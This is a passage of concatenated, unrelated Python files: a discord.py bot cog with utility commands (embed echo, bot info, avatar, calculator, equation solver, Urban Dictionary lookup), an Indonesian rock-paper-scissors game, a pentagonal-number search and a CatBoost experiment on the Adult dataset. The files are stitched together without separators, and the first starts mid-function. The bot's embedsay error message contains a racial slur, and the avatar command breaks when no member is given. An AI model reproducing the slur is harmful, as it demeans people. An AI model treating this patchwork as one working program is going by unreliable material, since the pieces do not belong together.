            await ctx.message.channel.send("{} message(s) deleted, fren :3".format(number))
        except Exception as e:
            await ctx.message.channel.send("{}".format(str(e)))

    @commands.command()
    async def embedsay(self, ctx, *, text : str):
        """Figa pupazzo messaggi in embed"""
        color = ''.join([random.choice('0123456789ABCDEF') for x in range(5)])
        color = int(color, 16)

        mgs = []
        async for x in ctx.message.channel.history(limit=1):
            mgs.append(x)
        await ctx.message.channel.delete_messages(mgs)

        normaltext = u"\u2063" * random.randint(1, 10) # generating random number for an empty embed
        data = discord.Embed(description=str(text), colour=discord.Colour(value=color))

        try:
            await ctx.message.channel.send(normaltext, embed=data)
        except:
            await ctx.message.channel.send("Exceptionnigga")

    @commands.command(aliases=['bot', 'info'])
    async def about(self, ctx):
        """ - Display informations about apu bot and latest changes."""

        embed = discord.Embed()
        embed.colour = discord.Colour.blue()
        embed.set_author(name='apu-apustaja.py', icon_url=ctx.author.avatar_url)
        total_members = sum(1 for _ in self.bot.get_all_members())
        total_online = len({m.id for m in self.bot.get_all_members() if m.status is discord.Status.online})
        total_unique = len(self.bot.users)

        #broken, must be fixed
        #now = datetime.datetime.utcnow()
        #delta = now - self.bot.start_time
        #hours, remainder = divmod(int(delta.total_seconds()), 3600)
        #minutes, seconds = divmod(remainder, 60)
        #days, hours = divmod(hours, 24)
        #fmt = '{h}h {m}m {s}s'
        #if days:
        #    fmt = '{d} ' + fmt
        #uptime = fmt.format(h=hours, m=minutes, s=seconds)

        github = '[Click here] (https://github.com/Shinjio/apu-apustaja)'
        #server = '[Click here] (https://discord.gg/Mse6VRD)'

        memory_usage = self.bot.process.memory_full_info().uss / 1024**2
        cpu_usage = self.bot.process.cpu_percent() / psutil.cpu_count()

        embed.add_field(name='Author', value='Kurisu#9290', inline=False)
        embed.add_field(name='Guilds', value=len(self.bot.guilds), inline=False)
        embed.add_field(name='Members', value=f'{total_unique} total\n{total_online} online', inline=False)
        embed.add_field(name='Process', value=f'{memory_usage:.2f} MiB\n{cpu_usage:.2f}% CPU', inline=False)
        embed.add_field(name='Github', value=github, inline=False)
        #embed.add_field(name='Discord', value=server, inline=False)
        embed.set_footer(text=f'Powered by discord.py {discord.__version__}')

        await ctx.send(embed=embed)

    @commands.command(aliases=['av'])
    async def avatar(self, ctx, *, member : discord.Member=None):
        """ - Return someone's avatar url"""
        av = member.avatar_url
        em = discord.Embed(description='requested by:\n{0}'.format(ctx.author))
        em.set_image(url=av)

        try:
            await ctx.send(embed=em)
        except Exception as e:
            await ctx.send(str(e))

    #@commands.command()
    #async def reverse(self, ctx):
    #    #try:
    #    image = await imageLookup(ctx.message.attachments[0].url)
    #    print(image)
    #    #await ctx.send(image)
    #    #except Exception as e:
    #    #    await ctx.send(str(e))

    #To improve maybe
    @commands.command(aliases=['calc', 'maths', 'math'])
    async def calculate(self, ctx, *, formula=None):
        """
        Do some real fucking math.
        """

        author = ctx.message.author
        user = ctx.author

        if formula == None:
            #No fucking math reeeeeeeeeee
            msg = f'\u200BUsage: `{ctx.prefix}{ctx.invoked_with} [any maths formula]`'
            e = discord.Embed()
            e.color = discord.Colour.red()
            e.description = f'{msg}'
            await ctx.send(embed=e)
            return

        try:
            answer = self.nsp.evalu(formula)
        except:
            #messed up input? examples.
            msg = f'\N{THINKING FACE} wrong {formula} input.\nTry any of these:'
            e = discord.Embed()
            e.color = discord.Colour.red()
            e.description = f'\u200B{msg}'
            e.add_field(name='multiplication', value="`num` * `num`", inline=False)
            e.add_field(name='division', value="`num` / `num`", inline=False)
            e.add_field(name='addition', value="`num` + `num`", inline=False)
            e.add_field(name='rest', value="`num` - `num`", inline=False)
            e.add_field(name='exponential', value="`num` ^ `num`", inline=False)
            await ctx.send(embed=e, delete_after=60)
            return

        #Correct input prints correct answer
        e = discord.Embed()
        e.color = discord.Colour.red()
        e.add_field(name='Input:', value=f'```{formula}```', inline=False)
        e.add_field(name='Result:', value=f'```{round(answer, 2)}```', inline=False)
        await ctx.send(embed=e)

    #To improve
    @commands.command()
    async def algebra(self, ctx, *, equation):
        e = discord.Embed()
        try:
            parsed = parse_equation(equation)
            eq = parsed[0]
            alpha = parsed[1]
            result = solve(eq, alpha)
            e.color = discord.Color.green()
            e.title = 'Equation'
            e.description = f'```py\n{equation} = 0```'
            e.add_field(name='Result', value=f'```py\n{result}```')
            await ctx.send(embed=e)
        except:
            e.color = discord.Color.green()
            e.title = 'Error'
            e.description = "Your expression must be equal to zero, fren"
            await ctx.send(embed=e)

    #To improve
    @commands.command()
    async def urban(self, ctx, search_term : str, n : int = 1):
        """ - Searches up a term in urban dictionary """

        e = discord.Embed()

        try:
            defined = urban_define(search_term)

            if defined:
                defn = defined['definitions'][n -1]
                owo = ('{i}: {defn}'.format(i=n, defn=defn['definition']))

            e.color = discord.Colour.blurple()
            e.title = f"{search_term} means..\n"
            e.description = owo
            await ctx.send(embed=e)

        except:
            e.color = discord.Colour.red()
            e.title = "Error."
            owo = "Term not found, fren :("
            e.description = owo
            await ctx.send(embed=e)
            return

def setup(bot):
    bot.add_cog(General(bot))


# game suit (batu,gunting,kertas)

from random import randint

def menang():
    global poin_pemain
    poin_pemain += 1
    print("Kamu menang !  (", pemain, ") lebih unggul dari (", com,")")

def kalah():
    global poin_com
    poin_com += 1
    print("Kamu kalah ! (",com,") mengalahkan (",pemain,")")

# daftar dari pilihan
pilih = ["batu","gunting","kertas"]

#papan score
ls_com = []
poin_com = 0
ls_pemain = []
poin_pemain = 0

# pesan/intruksi
print("kalahkan komputer di permainan suit")
print("ketik batu/gunting/kertas !")
print("===============================================")

main = True
while main:

    # komputer memilih random
    # random integer dari 0/1/2
    com = pilih[randint(0,2)]
    ls_com.append(com)
    pemain = input("batu, gunting, kertas ? : ")
    ls_pemain.append(pemain)
    print("--------------------------------------------------")
    if pemain == com:
        print("Seri !")
    elif pemain == "batu":
        if com == "kertas":
            kalah()
        else:
            menang()
    elif pemain == "gunting":
        if com == "batu":
            kalah()
        else:
            menang()
    elif pemain == "kertas":
        if com == "gunting":
            kalah()
        else:
            menang()
    else:
        print("\tmasukkan batu/gunting/kertas !")
    print("--------------------------------------------------")
    lagi= input("\n Lanjut? (y/n) : ")
    if lagi == "y":
        main = True
    else:
        main = False

print("================================")
print("        papan score       ")
print("(ronde) (pemain)\t(komputer) ")
print("--------------------------------")
for i in range(len(ls_pemain)):
    print(i+1,"\t",ls_pemain[i],"\t",ls_com[i])

print("--------------------------------")
print("nilai :   ",poin_pemain,"\t\t",poin_com)


def pent_num(j):
    return j*(3*j-1)//2

def pent_sol(p):
    return (1/6)*(1+(1+24*p)**0.5)

def main():
    searching=True
    nums=[]
    i=1
    while searching:
        num=pent_num(i)
        nums.append(num)
        if nums[-1]-nums[0]>nums[-1]:
            nums.pop()
        for n in nums[:-1]:
            diff=nums[-1]-n
            summa=nums[-1]+n
            if pent_sol(diff).is_integer() and pent_sol(summa).is_integer(): return diff
        i+=1

if __name__=="__main__":
    print(main())


from baselines import OptimisedModel

from sklearn.model_selection import train_test_split, GridSearchCV
from sklearn.metrics import accuracy_score
from datasets import Adult, Dataset, Bank
from sklearn.metrics import roc_auc_score

ds = Dataset(Adult())

xs_raw = ds.get_base(range(len(ds)))
ys = ds.num_data[:, -1]

X_train, X_test, y_train, y_test = train_test_split(xs_raw, ys, train_size=512, random_state=0, stratify=ys)

model = OptimisedModel("CatBoost")
print("Searching hyperparamters...")
model.fit_params(X_train, y_train)

print("Fitting mode")
model.fit(X_train, y_train)
print("Getting accuracy")
acc = model.get_acc(X_test, y_test).mean()
y_prob = model.predict_proba(X_test)[:, -1]
auc = roc_auc_score(y_test, y_prob)

print(f"Accuracy using best hyperparameters: {acc:.2f}")
print(f'auroc using best hyperparameters: {auc:.2f}')
# Best hyperparameters: {'eta': 0.3, 'max_depth': 6, 'reg_alpha': 0.001, 'reg_lambda': 0.001}
# Best hyperparameters: {'eta': 0.1, 'max_depth': 6, 'reg_alpha': 0.001, 'reg_lambda': 0.0001}
# print("Best hyperparameters:", grid_search.best_params_)